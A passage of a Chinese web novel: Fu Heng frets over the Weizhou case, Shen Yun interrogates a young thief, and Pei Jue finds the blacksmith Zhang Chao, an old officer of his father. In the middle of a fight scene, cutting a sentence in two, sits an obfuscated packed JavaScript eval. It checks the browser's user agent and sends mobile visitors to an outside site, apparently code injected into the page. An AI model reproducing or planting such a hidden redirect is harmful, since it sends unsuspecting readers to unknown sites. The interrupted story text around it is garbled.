“云山,等很久了吗?”明爻上前问道。 符珩的脸色不好,可声音依旧温柔“不久。快上马车吧,夜里风大,小心着凉。” 上了马车明爻便忍不住问“你脸色不好,可是因为席间发生了什么事?” “不是。只是大理寺的案子难办,不是什么大事。” “什么案子?” “渭州的案子。” 明爻听他说过,渭州案疑点重重,恐要再查。 “没有线索吗?” “倒不是没有线索。”符珩看着满脸担忧的明爻,几番挣扎,他最终决定不说“没什么事。今日宫宴累了吧?” “是有些累了。”明爻将头靠在符珩肩上。 “累了便睡会儿,到家了我再叫醒你。” 明爻点了点头。 过了好一会儿,怀中之人的呼吸渐渐平缓,符珩的眉头却越来越紧。 就到公主府了,马车停稳,符珩轻轻将怀中之人抱起。 还记得刚成婚那段时日,符珩常在书房忙到深夜,明爻便在一旁看书。她时常看着看着就睡着了,符珩也像这样抱着她回去。 回去的路不算长,符珩私心想让路再长一点,对于和明爻共处的时间他好像永远也不嫌多。 渭州的案子他不想草草了结,他入仕做官本就是为了伸张正义,可如今梁康成却要逼他在正义和明爻之间抉择。 无论怎么选,他都有罪。 怀中的人长舒一口气,将手搂上符珩的脖子。 她埋在符珩的颈间,含糊不清地说了一句“夫君有任何事都可以跟我说的。” 符珩心头一颤,思绪更加愁杂。 21. 逼问 沈韫没有贸然追出去,地上跪着的小贼抬头看见她便想起身逃跑。 可沈韫却一掌按住他的肩,让他重新跪了回去。 “你们还来做什么?玉佩我已经拿去抵债了,找不回来了!”他理直气壮。 沈韫冷笑一声“你倒还挺有理?刚才那人是谁?为何找你?” 提到这个,地上的人气愤地抬起头瞪着沈韫“那把匕首你们还给我!” “还?是你的吗?”沈韫了然“那匕首该不会是刚才那人的吧?你偷了他的东西?” 小贼不再说话。 “他是谁?看起来不是个简单人。” 小贼还是不说话。 沈韫轻笑出声“你还不起匕首,他会轻易放过你吗?” 小贼抬头,态度软了下来“他不是复州人,我也不知道他是谁。” “你当真是胆大,那人有一个贴身护卫,你也敢去偷?” “还不起钱我有什么办法。” “可我听说你是惯偷,你有那么多钱需要还吗?” 小贼支支吾吾,回道“你难道要帮我还?” 沈韫睨了他一眼,咬牙道“嘴够硬?” 小贼颇为不屑地挪开目光。 沈韫一脚踩在他的左手上,他当即痛得叫出了声。 “从现在开始我问什么你答什么,若是再让我从你的嘴里听到一句废话,你的左手不如也废了,省的你再去做偷鸡摸狗之事。” 那人痛得咿呀乱叫,连连求饶“我知道了我知道了!我什么都说!” “你在茶肆偷过几次?” “茶肆之人对我颇有顾忌,所以我不常得手,在偷玉佩之前偷过一只银铃。” “银铃给谁了?” “我的债主。” “你的债主是谁?” “桥下铁匠铺的张铁匠,他便是放贷给我的人。” 铁匠?沈韫心中惊喜,裴决他们此时应该已经找上了他,如此银铃便能拿回来了。 “刚才那人是谁?”沈韫继续问。 “我确实不知道他是谁,可我知道他颇有手段,似是官府的人。若是早知道他的身份,我便不会去偷他的东西。求求公子行行好,将匕首还给我,否则他再找来定会让我脱一层皮。” 沈韫思索了片刻,道“那把匕首镶有宝石,能抵不少债,你为何独把匕首留下?” “我见匕首好看,想着防身。” 这是实话,他从未见过那样好看的匕首,便想自己留着。 “公子,我所说句句属实,公子留着一个赃物也不合适,不如便还给我吧,他日他再找来时我好将东西物归原主。” 既是官府的人,他们也不方便招惹。 沈韫移开脚,将怀中的匕首扔在地上,冷声道“快滚吧。” 小贼捡起匕首连滚带爬地逃走。 沈韫打开门看见柳祈站在门口。 “你把匕首给他了?” 沈韫点头“那东西放我们这儿有麻烦。” “我看见刚才那个人了。”柳祈的脸色十分凝重“他像是王濯。” “王濯?” 沈韫从没去过华京,更接触不到朝堂之事,自然不认识这个人。 “他的父亲曾是淳宁候,他本该继承父位,可却因为梁康成多疑,他们一家被收回封地夺了封号。不过这些年他与他父亲同在朝堂做官,他颇有才能一路高升。” “这么说来他不是个好对付的。”沈韫疑惑“朝廷命官为何会来复州?” 究竟是巧合还是局? “我们不能再耽误了。”柳祈道。 沈韫点头“我们先去找张铁匠,银铃在他那儿。” 铁匠铺今日还未开张,张铁匠坐在铺子里,检查着他的工具。 他眉上的疤十分明显,听说是被铁水烫的,险些瞎了眼,后来他打铁时便习惯用一块特殊的布料蒙在眼上。 张铁匠这人也称得上是复州的怪人。没有父母,没有妻儿,自从他来到复州开始便是独身一人。除了打铁,他便不会与人交流,凭着他凶狠的长相,人人都惧他三分。 裴决再次站在铺子前,张铁匠只是抬头飞快地扫了他一眼。 “大人又来这儿做什么?” “我知道复州放贷一事,你也是放贷人之一对吗?” 他默认“你想问什么?” “你给谁放的贷?那伙惯偷与你是何关系?” 他敷衍答了一句“没有关系。” “张铁匠,你最好说实话。”裴决压低怒火。 他却不惧,反问“大人是来查案?” 裴决捏紧手中的宝剑“是我在问你。” “大人想查偷窃案便去洗衣坊找那窃贼,我一个铁匠,帮不上大人的忙。” “我再问你一遍,你与洗衣坊的窃贼有何干系?” 张铁匠松口,低头继续检查他的东西“我只知道他们行窃。” “可有人说他们除了惧怕官府便是惧怕你。这是为何?” “复州城人人都怕我。” “为何怕你?” 张铁匠似乎没了耐心,一把将眼上的布扯下“因为我的长相,大人见了我这样的难道不怕吗?” 横眉怒目,眉上有一道很深的疤痕,那疤差点便要伸进眼睛里了。 裴决大惊。 铁匠姓张,他要找的人叫张晁,眉上有一道疤。 “你……” 话还未问出口,张铁匠先开口“我不过是铁匠,并未做过伤人之事,大人为何苦苦相逼?” “我并未逼你。”裴决道“我只是来向你问一件事。” 张铁匠警惕地盯着裴决的脸。 只听裴决开口,问了一个十分可疑的问题“你是张晁吗?” 张铁匠的脸色越发沉重,眉头越凑越紧。 “你找谁?” 裴决盯着他的脸,似乎想要在他的表情中找出一丝破绽。 “张晁。萧既白的部下。” “你找他干什么?” 裴决道“有人让我来复州找他。” “谁让你来的?” 裴决同样警惕“你到底是不是张晁?” “……” 他不确定来者的意图,迟迟不肯回答。 僵持间,沈韫与柳祈着急赶到。 “银铃在他身上!”沈韫道。 张铁匠意欲离开,却被裴决执剑拦住了去路,剑鞘横抵在他的胸膛,裴决站在他的身后,声音低沉。 “交出来。” 张铁匠悄无声息地抓起手边的铁锤,猛地往身后一砸。 他的动作迅如疾风,力道又狠又稳,似是奔着要取裴决的性命而去。 裴决险些没有躲开,好在沈韫及时出手,掀了桌板挡住了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471154|168952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的攻击。 二人合力也只能堪堪制住张铁匠,沈韫不禁疑惑,一位铁匠为何能有一身好功夫? 长剑抵喉,裴决厉声道“银铃,交出来。” “什么银铃?我不知道!” 沈韫就知道他不会认账。 “你是放贷给洗衣房那个窃贼的人,他说了银铃已经交给你抵债了。” “一个偷盗小儿的话你也信?” 柳祈接过话道“复州放贷都有官府作保,若你不认,我们大可以到官府问个明白。” “那银铃是你们的吗?”他似乎有些松口。 “是我的。”裴决出言。 张铁匠旋即震惊地看着裴决,目光一寸一寸地在他脸上搜刮,仿佛要找出点什么来。 “是你的?”他仍不信。 裴决将手上的剑又抵近了几分,态度坚硬“交出来。” “你从哪儿得到这个银铃的?”铁匠并不在意抵在脖子上的利刃。 他的神情让四人都意识到了,他很有可能认得这只铃铛。 那么他是张晁吗? 裴决的目光又落回到他眉上的那道疤上,顿时心中明了,他极有可能就是张晁。 裴决不再试探,道“有人让我拿着铃铛来找你。” “找我做什么?”铁匠仍在试探。 “萧家案。” 三个字一脱口,张铁匠再次大惊。 桥上人来人往,他们如此剑拔弩张的模样实在惹人注目,张铁匠低声道“随我进来。” 他们走进里间,铺子后连着的是一方小小的宅院。 “你们是谁?”张晁问。 “我爹是萧既白。” 张晁将他细细打量了一番,腰间的御剑分明说明他在朝中地位不低。 这样一位贵臣怎会是萧既白之子? 他出言质疑“可你身负御命。” “我离开北关后被人收养,前几日方才得知自己的身世。” 他的话可信吗? 裴决看出他的疑心,道“我没有必要撒谎。在押回华京的途中是宋鹊救出了我,后来把我交给我爹的幕僚。” 他说的确实不错,当年就在复州城,他亲眼看见宋鹊将幼公子带走。 “你当真是幼公子?” “我确是萧子因,银铃是我爹的贴身之物,是我娘送给爹的,他整日戴着不曾离身。” 是了,他的眉目间确有几分萧将军当年的样子。 张晁抱拳躬身,声音颤抖“属下见过幼公子!属下当年被朝廷通缉,实在无力将公子护在身边,遂在复州落脚暗中打探公子的消息,可谁知宋鹊将你交给他人,属下无能,找了公子许久也没有消息。请公子降罪!” 裴决将他扶起来“张将军言重了,我替父亲谢过将军多年来的挂记。” “萧将军对我恩重如山,当年是他提携我才能领兵作战,为报将军恩情,我赴汤蹈火在所不辞。可谁曾想到恩情未报,我连公子也没护住。” 十一年,他夜夜受梦魇所困,时时悔恨自己无能。 如今,他终于见到了萧将军的遗孤。 他终于可以替萧将军做些事了。 张晁从屋内取出一只雕花木盒,银铃被他仔细地放在里面。 他取出来,递给裴决“公子想问什么?” “我想知道萧家案的始终,我爹为何调兵?”